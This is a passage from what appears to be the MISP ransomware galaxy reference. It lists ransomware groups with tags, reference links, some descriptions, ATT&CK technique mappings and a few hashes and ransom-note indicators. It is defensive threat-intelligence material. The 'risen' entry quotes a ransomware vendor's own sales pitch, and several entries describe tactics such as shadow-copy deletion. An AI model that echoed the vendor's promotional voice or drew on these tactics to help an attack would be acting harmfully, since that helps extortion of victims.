https://www.splunk.com/blog/security/handalas-wiper-threat-analysis-and-detections.html
https://www.scworld.com/brief/handala-hacking-group-asserts-attacks-against-israel

embargo

The tag is: *misp-galaxy:ransomware="embargo"*

Table 13806. Table References

Links
https://www.ransomlook.io/group/embargo
https://www.sentinelone.com/blog/embargo-ransomware-new-raas-on-the-scene/
https://www.zscaler.com/blogs/security-research/technical-analysis-embargo-ransomware
https://www.trendmicro.com/en_us/research/24/f/embargo-ransomware-raas-analysis.html

darkvault

The tag is: *misp-galaxy:ransomware="darkvault"*

Table 13807. Table References

Links
https://www.ransomlook.io/group/darkvault
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/dark-vault
https://www.threatintelligence.com/blog/darkvault-ransomware
https://dig.watch/updates/darkvaults-slip-up-exposes-link-to-lockbit

meow

The tag is: *misp-galaxy:ransomware="meow"*

Table 13808. Table References

Links
https://www.ransomlook.io/group/meow

apos

The tag is: *misp-galaxy:ransomware="apos"*

Table 13809. Table References

Links
https://www.ransomlook.io/group/apos
https://cyberint.com/blog/research/ransomware-trends-2024-report/
https://cyble.com/blog/top-ransomware-groups-may-2025-safepay-devman-rise/

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-new-face-of-ransomware-key-players-and-emerging-tactics-of-2024/
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/apos-security
https://www.group-ib.com/blog/hunters-international-ransomware-group/

el dorado

This group is believed to be connected to Lost Trust. El Dorado rebranded to BlackLock in September 2024.

The tag is: *misp-galaxy:ransomware="el dorado"*

Table 13810. Table References

Links
https://www.ransomlook.io/group/el dorado[https://www.ransomlook.io/group/el dorado]

locus

The tag is: *misp-galaxy:ransomware="locus"*

Table 13811. Table References

Links
https://www.ransomlook.io/group/locus

risen

Risen, which is a fully optimized and high-speed program, is the result of our years of experience in the field of malware writing. Risen is written in C language and completely using winapi. We produced many products with different features and options, but we came to the conclusion that none of the options have the benefit and efficiency they should; So, instead of spending time on useless and inefficient options, we decided to spend all our time on the strength, speed and security of our cryptography, and that's how we created Risen. Software features in version 1:

 -Encryption security, utilizing Chacha20 and RSA 2048 algorithms.
 -High encryption speed and software optimization
 -compatible with all versions of Windows on any hardware without any issues.
 -Automatic option settings, its easy to using and default configuration set to the best mode.
 -Utilization of Threadpool method and queue creation for encryption.
 -A powerful file unlocker, unlock files without closing processes.
 -Safe deletion of backups, shadow copies, and all windows logs.
 -A blog, Leak website, and management panel on TOR for leaking data of non-paying companies.

The tag is: *misp-galaxy:ransomware="risen"*

Table 13812. Table References

Links

https://www.ransomlook.io/group/risen

fog

The tag is: *misp-galaxy:ransomware="fog"*

Table 13813. Table References

Links
https://www.ransomlook.io/group/fog
https://www.kroll.com/en/publications/cyber/fog-ransomware-targets-higher-education
https://www.broadcom.com/support/security-center/protection-bulletin/fog-ransomware
https://www.sentinelone.com/anthology/fog/
https://blog.barracuda.com/2025/04/29/a-closer-look-at-fog-ransomware
https://www.trendmicro.com/en_us/research/25/d/fog-ransomware-concealed-within-binary-loaders-linking-themselve.html
https://www.securitymagazine.com/articles/101694-fog-ransomware-group-uses-unconventional-toolset-new-research-finds
https://www.areteir.com/static/FOG_Ransomware.pdf
https://assets.kpmg.com/content/dam/kpmgsites/in/pdf/2024/11/kpmg-ctip-fog-ransomware-19-nov-2024.pdf.coredownload.inline.pdf

wikileaksv2

Group is connected to Qilin.

The tag is: *misp-galaxy:ransomware="wikileaksv2"*

Table 13814. Table References

Links
https://www.ransomlook.io/group/wikileaksv2

sensayq

The tag is: *misp-galaxy:ransomware="sensayq"*

Table 13815. Table References

Links
https://www.ransomlook.io/group/sensayq

trinity

The tag is: *misp-galaxy:ransomware="trinity"*

Table 13816. Table References

Links
https://www.ransomlook.io/group/trinity

brain cipher

In mid-June 2024, a new ransomware operation named Brain Cipher emerged, notably targeting Indonesia's National Data Center. This attack disrupted immigration operations at airports and various other government services. The payload employed by this group is based on the leaked LockBit 3.0 builder. Comparative analyses have confirmed significant similarities between Brain Cipher and LockBit 3.0 samples. Notably, the attackers modified the ransomware to not only append a new extension to encrypted files but also to encrypt the filenames themselves. Additionally, it was identified that the group appears to be in its early stages, as evidenced by their use of the leaked LockBit 3.0 builder and their recent operations. After encrypting the data, the ransomware generates ransom notes named "added_extension.README.txt." These notes contain a description of what occurred and a link to the attackers' website hosted on the Tor network.

The tag is: *misp-galaxy:ransomware="brain cipher"*

View relationships graph

brain cipher has relationships with:

- uses: misp-galaxy:tactic="Execution" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Defense Evasion" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Discovery" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tactic="Impact" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"

Table 13817. Table References

Links
https://www.ransomlook.io/group/brain cipher[https://www.ransomlook.io/group/brain cipher]
https://www.sentinelone.com/anthology/brain-cipher/
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/brain-cipher
https://www.vectra.ai/modern-attack/threat-actors/brain-cipher
https://www.group-ib.com/masked-actors/brain-cipher/
https://wazuh.com/blog/detecting-brain-cipher-ransomware-with-wazuh/
https://www.reuters.com/technology/cybersecurity/indonesia-says-it-has-begun-recovering-data-after-major-ransomware-attack-2024-07-12/

synapse

The tag is: *misp-galaxy:ransomware="synapse"*

Table 13818. Table References

Links
https://www.ransomlook.io/group/synapse

cicada3301

The tag is: *misp-galaxy:ransomware="cicada3301"*

Table 13819. Table References

Links
https://www.ransomlook.io/group/cicada3301
https://www.group-ib.com/blog/cicada3301/
https://unit42.paloaltonetworks.com/repellent-scorpius-cicada3301-ransomware/
https://thehackernews.com/2024/10/cross-platform-cicada3301-ransomware.html
https://cyble.com/threat-actor-profiles/cicada3301/
https://www.truesec.com/hub/blog/dissecting-the-cicada
https://www.morphisec.com/blog/cicada3301-ransomware-threat-analysis
https://www.waterisac.org/portal/ransomware-awareness-%E2%80%93-new-ransomware-group-%E2%80%9Ccicada3301%E2%80%9D-surfaces-connections-alphv-network

good day

Good Day is a ransomware variant within the ARCrypter family, first observed in May 2023. It gained prominence due to its reticent financial extortion model and custom branding—victims are

greeted with a “Good day” message upon landing on individualized Tor-based victim portals. The malware is typically delivered via phishing campaigns disguising payloads as legitimate Windows updates. It utilizes a robust encryption workflow, including deletion of volume shadow copies and process evasion mechanisms. Notably, Good Day has been linked to the Cloak ransomware group through shared data leak infrastructure and overlapping leak portal behaviors.

The tag is: *misp-galaxy:ransomware="good day"*

Table 13820. Table References

Links
https://www.ransomlook.io/group/good day[https://www.ransomlook.io/group/good day]
https://www.sentinelone.com/anthology/good-day/
https://www.broadcom.com/support/security-center/protection-bulletin/not-a-good-day-ransomware
https://www.sentinelone.com/blog/threat-actor-interplay-good-days-victim-portals-and-their-ties-to-cloak/

cloak.su

The tag is: *misp-galaxy:ransomware="cloak.su"*

cloak.su is also known as:

- locker leak

Table 13821. Table References

Links
https://www.ransomlook.io/group/cloak.su (locker leak)[https://www.ransomlook.io/group/cloak.su (locker leak)]

pyrx

The tag is: *misp-galaxy:ransomware="pyrx"*

Table 13822. Table References

Links
https://www.ransomlook.io/group/pyrx

vanir group

The tag is: *misp-galaxy:ransomware="vanir group"*

Table 13823. Table References

Links

https://www.ransomlook.io/group/vanir group[https://www.ransomlook.io/group/vanir group]

dispossessor

The tag is: *misp-galaxy:ransomware="dispossessor"*

Table 13824. Table References

Links
https://www.ransomlook.io/group/dispossessor
https://www.fbi.gov/contact-us/field-offices/cleveland/news/international-investigation-leads-to-shutdown-of-ransomware-group
https://www.reuters.com/technology/cybersecurity/dispossessor-ransomware-group-shut-down-by-us-european-authorities-2024-08-13/
https://www.infosecurity-magazine.com/news/fbi-dismantle-radardispossessor/
https://www.sentinelone.com/blog/ransomware-evolution-how-cheated-affiliates-are-recycling-victim-data-for-profit/

nullbulge

A hacktivist group protecting artists' rights and ensuring fair compensation for their work.

The tag is: *misp-galaxy:ransomware="nullbulge"*

Table 13825. Table References

Links
https://www.ransomlook.io/group/nullbulge

holyghost

HolyGhost is a ransomware group first publicly reported in July 2022, believed to be operated by a North Korean state-sponsored threat actor tracked as APT43 or Andariel, a subgroup of the Lazarus Group. The group has been active since at least June 2021, using a double-extortion model that combines encryption of victim files with threats to leak stolen data via a Tor site. Early HolyGhost variants (BTLC_C.exe) used a custom file extension .h0lyenc, while later builds added more robust encryption, obfuscation, and evasion capabilities. Targeted victims include small and medium-sized businesses in manufacturing, finance, education, and event planning, primarily in the United States, South Korea, Brazil, and India. Intrusion methods include exploitation of vulnerable public-facing applications, credential theft, and possibly the use of purchased access from other threat actors. Unlike purely criminal groups, HolyGhost is suspected of being leveraged for both revenue generation and strategic cyber operations in support of DPRK objectives.

The tag is: *misp-galaxy:ransomware="holyghost"*

Table 13826. Table References

Links
https://www.ransomlook.io/group/holyghost
https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-187a
https://www.bleepingcomputer.com/news/security/us-govt-links-north-korean-holyghost-ransomware-to-lazarus-group/
https://www.microsoft.com/en-us/security/blog/2022/07/14/holyghost-north-korean-threat-actor-uses-custom-ransomware-in-attacks/

chilelocker

ChileLocker first emerged in August 2022 and is considered part of the broader ARCrypter ransomware family. It employs a double-extortion model, encrypting Windows and Linux/VMware ESXi systems and threatening data leaks. ChileLocker uses the NTRU public key cryptosystem for encryption and typically appends the .crypt extension to affected files. Following encryption, it drops a ransom note—often named readme_for_unlock.txt—and directs victims to a password-protected Tor negotiation portal, with the password provided in the note. The group also disables recovery mechanisms by deleting shadow copies. Its initial access tactics include exploitation of misconfigured RDP access, phishing, malicious installers, botnets, fake updates, and malvertising. The ransomware has impacted victims across various regions, including Chile, Mexico, Canada, Spain, and others.

The tag is: *misp-galaxy:ransomware="chilelocker"*

Table 13827. Table References

Links
https://www.ransomlook.io/group/chilelocker
https://www.fortinet.com/blog/threat-research/ransomware-roundup-bisamware-and-chile-locker
https://cyble.com/blog/arcrypt-ransomware-evolves-with-multiple-tor-communication-channels
https://www.cymulate.com/blog/september-2022-cyberattacks-wrap-up

mad liberator

Group is also currently known as MADDLL32 and Metatron.

The tag is: *misp-galaxy:ransomware="mad liberator"*

Table 13828. Table References

Links
https://www.ransomlook.io/group/mad liberator[https://www.ransomlook.io/group/mad liberator]

lockdata

The tag is: *misp-galaxy:ransomware="lockdata"*

Table 13829. Table References

Links
https://www.ransomlook.io/group/lockdata

adminlocker

AdminLocker was first observed around December 2021 and appears to be a lone operator or small group, with no clear Ransomware-as-a-Service (RaaS) model reported. It uses single-extortion tactics—encrypting files without publicly documented data exfiltration—primarily targeting enterprise and personal systems via methods such as malicious email attachments, cracked software installers, P2P downloads, and malvertising. The ransomware employs symmetric and asymmetric encryption (likely AES combined with RSA) to lock files, appending extensions such as .admin1, .admin2, .admin3, .1admin, .2admin, and .3admin; victims receive a “!!!Recovery File.txt” ransom note with instructions to pay via Tor and Bitcoin. Notable for its multiple simultaneous variants with varied extensions, it reportedly allows victims to decrypt up to five small files as “proof” before demanding ransom. No high-profile sector- or region-specific campaigns are publicly documented.

The tag is: *misp-galaxy:ransomware="adminlocker"*

Table 13830. Table References

Links
https://www.ransomlook.io/group/adminlocker
https://www.pcrisk.com/removal-guides/22722-admin-locker-ransomware
https://www.enigmasoftware.com/adminlockerransomware-removal/

ransomcortex

The tag is: *misp-galaxy:ransomware="ransomcortex"*

Table 13831. Table References

Links
https://www.ransomlook.io/group/ransomcortex

lynx

The tag is: *misp-galaxy:ransomware="lynx"*

Table 13832. Table References

Links
https://www.ransomlook.io/group/lynx

rtm locker

The tag is: *misp-galaxy:ransomware="rtm locker"*

Table 13833. Table References

Links
https://www.ransomlook.io/group/rtm locker[https://www.ransomlook.io/group/rtm locker]

radar

The tag is: *misp-galaxy:ransomware="radar"*

Table 13834. Table References

Links
https://www.ransomlook.io/group/radar

helldown

The tag is: *misp-galaxy:ransomware="helldown"*

Table 13835. Table References

Links
https://www.ransomlook.io/group/helldown
https://www.truesec.com/hub/blog/helldown-ransomware-group
https://blog.sekoia.io/helldown-ransomware-an-overview-of-this-emerging-threat
https://hivepro.com/threat-advisory/new-helldown-ransomware-a-growing-threat-across-cross-platform-systems
https://www.broadcom.com/support/security-center/protection-bulletin/helldown-ransomware

valencia leaks

Official twitter account: https://x.com/ValenciaLeaks72

The tag is: *misp-galaxy:ransomware="valencia leaks"*

Table 13836. Table References

Links
https://www.ransomlook.io/group/valencia leaks[https://www.ransomlook.io/group/valencia leaks]

soleenya

The tag is: *misp-galaxy:ransomware="soleenya"*

Table 13837. Table References

Links
https://www.ransomlook.io/group/soleenya

orca

The tag is: *misp-galaxy:ransomware="orca"*

Table 13838. Table References

Links
https://www.ransomlook.io/group/orca

osyolorz collective

The tag is: *misp-galaxy:ransomware="osyolorz collective"*

Table 13839. Table References

Links
https://www.ransomlook.io/group/osyolorz collective[https://www.ransomlook.io/group/osyolorz collective]

embrago

The tag is: *misp-galaxy:ransomware="embrago"*

Table 13840. Table References

Links
https://www.ransomlook.io/group/embrago

nitrogen

The tag is: *misp-galaxy:ransomware="nitrogen"*

Table 13841. Table References

Links
https://www.ransomlook.io/group/nitrogen

sarcoma

Sarcoma is a ransomware group that emerged in October 2024 and has been actively targeting various organizations. Sarcoma's attack methods include phishing campaigns, exploiting n-day vulnerabilities, and supply chain attacks. Once inside a network, they use RDP exploitation, lateral movement, and data exfiltration tactics. Sarcoma has claimed responsibility for attacks against Unimicron, a PCB manufacturer, Kelowna Springs Golf Club, Popular Life Insurance, CP Construplan, ADT Freight Services Australia, Micon National. These attacks have resulted in data exfiltration, with Sarcoma threatening to leak or having already leaked stolen data. Specifically, Sarcoma has exfiltrated 377 GB of SQL files and sensitive documents from Unimicron, 3.8 GB of data from Kelowna Springs, 36 GB of data from Popular Life Insurance, 2 GB of data from ADT Freight Services Australia, and 34 GB of data from Micon National. The group is known for its aggressive tactics against industrial organizations.

The tag is: *misp-galaxy:ransomware="sarcoma"*

sarcoma is also known as:

- Sarcoma Ransomware Group

Table 13842. Table References

Links
https://www.ransomlook.io/group/sarcoma
https://www.securityweek.com/circuit-board-maker-unimicron-targeted-in-ransomware-attack/
https://cyberpress.org/sarcoma-ransomware/
https://australiancybersecuritymagazine.com.au/new-ransomware-group-sarcoma-targets-australian-companies/

interlock

The tag is: *misp-galaxy:ransomware="interlock"*

Table 13843. Table References

Links
https://www.ransomlook.io/group/interlock

playboy

The tag is: *misp-galaxy:ransomware="playboy"*

Table 13844. Table References

Links
https://www.ransomlook.io/group/playboy

hellcat

The tag is: *misp-galaxy:ransomware="hellcat"*

Table 13845. Table References

Links
https://www.ransomlook.io/group/hellcat
https://www.bleepingcomputer.com/news/security/schneider-electric-confirms-dev-platform-breach-after-hacker-steals-data/
https://securityboulevard.com/2024/11/schneider-electric-hellcat-richixbw/
https://www.infostealers.com/article/schneider-electric-hacked-and-blackmailed-due-to-lumma-infostealer-infection/

killsec3

The tag is: *misp-galaxy:ransomware="killsec3"*

Table 13846. Table References

Links
https://www.ransomlook.io/group/killsec3

chort

Chort is a relatively new data-extortion ransomware group that surfaced in late 2024, with confirmed activity beginning in October–November 2024. It operates under a double-extortion model—exfiltrating sensitive data before encrypting systems—and organizes victims via a Tor-hosted data leak site (DLS). The group has targeted organizations in the U.S. education sector (including schools and nonprofits) and in Kuwait's agriculture sector, among others. Technical behaviors include execution via PowerShell and removal of shadow copies to disrupt recovery. The group's approach emphasizes public pressure through data exposure rather than technical innovation.

The tag is: *misp-galaxy:ransomware="chort"*

Table 13847. Table References

Links
https://www.ransomlook.io/group/chort
https://www.cyjax.com/resources/blog/the-devil-and-the-termite-data-leak-sites-emerge-for-chort-and-termite-extortion-groups/
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/chort
https://therecord.media/ransomware-sheboygan-breach-notice

kairos

The tag is: *misp-galaxy:ransomware="kairos"*

Table 13848. Table References

Links
https://www.ransomlook.io/group/kairos

contfr

Launched around September 2024, ContFR is a French-speaking RaaS that uses a Tor-hosted platform to provide ransomware embedded in PDF files (targeting both Windows and macOS). The group offers a tiered subscription model—“TEST,” “BASIC,” and “ELITE”—allowing affiliates varying degrees of customization, offline capability, and support based on the package purchased. As of the latest reporting, no victims are publicly listed, though data leak publications likely require a subscription to access. The operation suggests an organized, business-like structure, distinct from opportunistic one-off strains.

The tag is: *misp-galaxy:ransomware="contfr"*

Table 13849. Table References

Links
https://www.ransomlook.io/group/contfr
https://www.cyjax.com/resources/blog/contfraversy-in-ransomland-tor-based-site-emerges-for-new-french-speaking-raas-operation-contfr/

argonauts group

The tag is: *misp-galaxy:ransomware="argonauts group"*

Table 13850. Table References

Links
https://www.ransomlook.io/group/argonauts group[https://www.ransomlook.io/group/argonauts group]
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/argonauts-group
https://www.cyjax.com/resources/blog/new-argonauts-extortion-group-emerges/

termite

The tag is: *misp-galaxy:ransomware="termite"*

Table 13851. Table References

Links

https://www.ransomlook.io/group/termite

safepay

SafePay ransomware started in October 2024 as a new ransomware service, using some of the leaked LockBit source code. Soon after launching, the group made a big impact in the ransomware world, hacking at least 33 organizations by December 9.

The first version of SafePay was created by modifying the LockBit source code. It adds the ".safepay" extension to files that it encrypts and includes a ransom note called "readme_safepay.txt." This version uses a three-step XOR method with a random single-byte key, making it hard for security researchers to analyse.

The group's technical infrastructure includes both a dark web blog and a presence on the TON network for victim communications. Their attack methodology follows a double extortion model, combining traditional file encryption with data theft to maximise pressure on victims. SafePay operators typically move from initial access to ransomware deployment in under 24 hours, significantly faster than the industry average. . Among the Tactics, Techniques, and Procedures (TTPs) of the SafePay group, notable characteristics include the use of compromised VPN credentials as an initial access vector, extensive use of living-off-the-land binaries (LOLBins), and sophisticated privilege escalation techniques. The group frequently employs ShareFinder.ps1 for network reconnaissance and uses WinRAR for data archival before exfiltration. Post encryption, SafePay directs victims to their negotiation portal accessible through both Tor and TON networks.

The group has demonstrated sophisticated operational security measures, including a Cyrillic-language-based killswitch that prevents execution in eastern European countries.

The tag is: *misp-galaxy:ransomware="safepay"*

View relationships graph

safepay has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-

language:likelihood-probability="very-likely"

- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Acquire Access - T1650" with estimative-language:likelihood-probability="very-likely"

Table 13852. Table References

Links
https://www.ransomlook.io/group/safepay

invaderx

The tag is: *misp-galaxy:ransomware="invaderx"*

Table 13853. Table References

Links
https://www.ransomlook.io/group/invaderx

beast

The tag is: *misp-galaxy:ransomware="beast"*

Table 13854. Table References

Links
https://www.ransomlook.io/group/beast
https://cyberint.com/blog/research/the-nature-of-the-beast-ransomware/
https://www.cybereason.com/blog/threat-analysis-beast-ransomware

tommyleaks

The tag is: *misp-galaxy:ransomware="tommyleaks"*

Table 13855. Table References

Links
https://www.ransomlook.io/group/tommyleaks

gwisin

Gwisin is a targeted ransomware group first publicly reported in July 2022, believed to operate primarily within South Korea. The group's name means "ghost" in Korean, reflecting its stealthy approach. Gwisin has been observed conducting attacks on critical sectors, including healthcare, pharmaceutical, and manufacturing industries. It uses custom-built payloads tailored for each victim, capable of encrypting both Windows and Linux/VMware ESXi environments, and often executes attacks during national holidays to maximize operational disruption. Gwisin employs a double-extortion model—exfiltrating sensitive data before encryption—and communicates with victims in Korean-language ransom notes. Initial access vectors are not fully confirmed in open-source reporting, but suspected methods include exploiting vulnerable VPN appliances and leveraging stolen administrative credentials. The group is known for extensive pre-encryption reconnaissance to identify high-value systems and backups.

The tag is: *misp-galaxy:ransomware="gwisin"*

Table 13856. Table References

Links
https://www.ransomlook.io/group/gwisin
https://asec.ahnlab.com/en/45115/
https://www.securityweek.com/gwisin-ransomware-attacks-target-korean-healthcare-firms/
https://www.bleepingcomputer.com/news/security/new-gwisin-ransomware-targets-south-korean-healthcare-manufacturing/

luckbit

The tag is: *misp-galaxy:ransomware="luckbit"*

Table 13857. Table References

Links
https://www.ransomlook.io/group/luckbit

ctblocker

aka Critroni
CTB-Locker emerged in mid-2014, introducing a new era of ransomware by leveraging elliptic curve cryptography (ECC), Tor-based C&C communication, and Bitcoin payments—earning its name from "Curve-Tor-Bitcoin Locker." It was packaged and sold as a ransomware kit for approximately $1,500–$3,000, allowing affiliates to deploy customized campaigns. The malware encrypts user data (including network and removable drives), changes desktop wallpapers, and appends file extensions like .CTBL, .CTB2, or randomized strings. Victims receive instructions for payment, typically within a limited timeframe, or risk permanent data loss.

In 2015–2017, law enforcement and cybersecurity firms (including McAfee and Kaspersky) disrupted the network, arrested operators, and facilitated decryption tools.

The tag is: *misp-galaxy:ransomware="ctblocker"*

Table 13858. Table References

Links
https://www.ransomlook.io/group/ctblocker
https://cert.gov.az/en/articles/ctb-locker-and-critroni-ransomware-information-guide-and-faq
https://heimdalsecurity.com/blog/ctb-locker-ransomware/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/advanced-threat-research/
https://www.eset.com/afr/about/newsroom/press-releases-afr/company/ctb-locker-ransomware-striking-in-europe-and-latin-america10/

krypt

The tag is: *misp-galaxy:ransomware="krypt"*

Table 13859. Table References

Links
https://www.ransomlook.io/group/krypt

help_restoremydata

*help_restoremydata
ext : .help_restoremydata
note : HOW_TO_RECOVERY_FILES.html
mail : help@restoremydata.pw
md5 : b1e8b6c2b65d51893bbe61d46cbdb4af*

The tag is: *misp-galaxy:ransomware="help_restoremydata"*

Table 13860. Table References

Links
https://www.ransomlook.io/group/help_restoremydata
https://www.pcrisk.com/removal-guides/31727-help-restoremydata-ransomware
https://www.cyclonis.com/remove-help_restoremydata-ransomware/
https://www.cyfirma.com/news/weekly-intelligence-report-20-dec-2024/
https://twitter.com/pcrisk/status/1866752818939564347
https://twitter.com/PaduckLee/status/1866748855053848886

bluebox

The tag is: *misp-galaxy:ransomware="bluebox"*

Table 13861. Table References

Links
https://www.ransomlook.io/group/bluebox

leakeddata

The tag is: *misp-galaxy:ransomware="leakeddata"*

Table 13862. Table References

Links
https://www.ransomlook.io/group/leakeddata

toxic

The tag is: *misp-galaxy:ransomware="toxic"*

Table 13863. Table References

Links
https://www.ransomlook.io/group/toxic

crypt ransomware

*crYpt
MD5: 54EFAC23D7B524D56BEDBCE887E11849

Babuk Variant*

The tag is: *misp-galaxy:ransomware="crypt ransomware"*

Table 13864. Table References

Links
https://www.ransomlook.io/group/crypt ransomware[https://www.ransomlook.io/group/crypt ransomware]

weaxor

The tag is: *misp-galaxy:ransomware="weaxor"*

Table 13865. Table References

Links
https://www.ransomlook.io/group/weaxor

schoolboys

The tag is: *misp-galaxy:ransomware="schoolboys"*

Table 13866. Table References

Links
https://www.ransomlook.io/group/schoolboys

dataf locker

DataF Locker is a ransomware variant first observed in 2024, closely tied to the Babuk ransomware lineage. It operates under a double-extortion model, encrypting files by appending the .dataf extension and threatening to leak exfiltrated data if the ransom isn't paid. Victims receive a ransom note named How To Restore Your Files.txt, with satisfaction of specified recovery procedures. Observations suggest use of typical intrusion vectors such as phishing, exploit tools, or leaked credential abuse, although detailed delivery methods and leak infrastructure remain under-documented in high-tier intelligence reports.

The tag is: *misp-galaxy:ransomware="dataf locker"*

Table 13867. Table References

Links
https://www.ransomlook.io/group/dataf locker[https://www.ransomlook.io/group/dataf locker]
https://www.pcrisk.com/removal-guides/25442-dataf-locker-ransomware

funksec

The tag is: *misp-galaxy:ransomware="funksec"*

Table 13868. Table References

Links
https://www.ransomlook.io/group/funksec

lockbit4

The tag is: *misp-galaxy:ransomware="lockbit4"*

Table 13869. Table References

Links
https://www.ransomlook.io/group/lockbit4

br0k3r

Br0k3r is not a conventional ransomware gang, but rather an Iran-linked cyber espionage and access brokerage group leveraging its foothold within victim networks to facilitate ransomware operations. Active since around 2017, the group provides privileged domain access—often sold or shared directly—with known ransomware operators such as ALPHV/BlackCat, NoEscape, and

RansomHouse, receiving a portion of each successful ransom payout. Victims have included U.S. schools, municipal governments, financial and healthcare organizations, as well as targets in Israel, Azerbaijan, and the UAE. Br0k3r's strategy merges espionage with criminal collaboration, allowing them to support both state-aligned intelligence objectives and financial incentives.

The tag is: *misp-galaxy:ransomware="br0k3r"*

Table 13870. Table References

Links
https://www.ransomlook.io/group/br0k3r
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-241a
https://www.helpnetsecurity.com/2024/08/28/pioneer-kitten-iranian-hackers-partnering-with-ransomware-affiliates/
https://www.anvilogic.com/threat-reports/iranian-cyber-groups-ransomware

cs-137

Cs-137 is a newly observed ransomware strain that first appeared in January 2025. It employs the ChaCha20 cipher for encryption and appends obfuscated filenames with a random 10-character alphanumeric identifier while preserving the original file extension. In its current testing phase, it drops a ransom note with a randomized filename (e.g. ABCDEF-README.txt) and sets a randomly named image file as the desktop wallpaper. The note references a Tor-based extortion portal—though access is not yet active, indicating the operation's early development stage. The strategy suggests single-extortion behavior, focused on disrupting access rather than data theft or leak threats.

The tag is: *misp-galaxy:ransomware="cs-137"*

Table 13871. Table References

Links
https://www.ransomlook.io/group/cs-137
https://www.watchguard.com/wgrd-security-hub/ransomware-tracker/cs-137

belsen group

aka Belesn Group

The tag is: *misp-galaxy:ransomware="belsen group"*

Table 13872. Table References

Links
https://www.ransomlook.io/group/belsen group[https://www.ransomlook.io/group/belsen group]
https://outpost24.com/blog/belsen-group-threat-group/

https://fortinet.com/blog/psirt-blogs/analysis-of-threat-actor-data-posting
https://rapid7.com/blog/post/2025/01/16/etr-fortinet-firewalls-hit-with-new-zero-day-attack-older-data-leak
https://watchguard.com/wgrd-security-hub/ransomware-tracker/belsen-group
https://kela.com/blog/could-the-belsen-group-be-associated-with-zerosevengroup/
https://securityweek.com/are-threat-groups-belsen-and-zerosevengroup-related/

satancd

The tag is: *misp-galaxy:ransomware="satancd"*

Table 13873. Table References

Links
https://www.ransomlook.io/group/satancd

providence

The tag is: *misp-galaxy:ransomware="providence"*

Table 13874. Table References

Links
https://www.ransomlook.io/group/providence

balletspistol

The tag is: *misp-galaxy:ransomware="balletspistol"*

Table 13875. Table References

Links
https://www.ransomlook.io/group/balletspistol
https://www.tinextacyber.com/wp-content/uploads/2025/06/Dissecting-a-Python-Ransomware-distributed-through-GitHub-repositories-1.pdf

morpheus

The tag is: *misp-galaxy:ransomware="morpheus"*

Table 13876. Table References

Links
https://www.ransomlook.io/group/morpheus

deadbydawn

The tag is: *misp-galaxy:ransomware="deadbydawn"*

Table 13877. Table References

Links
https://www.ransomlook.io/group/deadbydawn

DORRA

A new ransomware variant has been identified, named DORRA. It is worth mentioning in advance that this variant is derived from the Makop ransomware family.

This variant encrypts data by adding the ".DORRA" extension to files, as well as a unique ID and the ransomware developer's email address.

After encrypting the data, the payload creates a ransom note as a text file named "README-WANING.txt," through which victims are instructed to contact the threat actor via the provided email to decrypt the data.

Interestingly, this variant uses a simple email address hosted on Microsoft's Outlook service as the contact method.

The tag is: *misp-galaxy:ransomware="DORRA"*

View relationships graph

DORRA has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="very-likely"

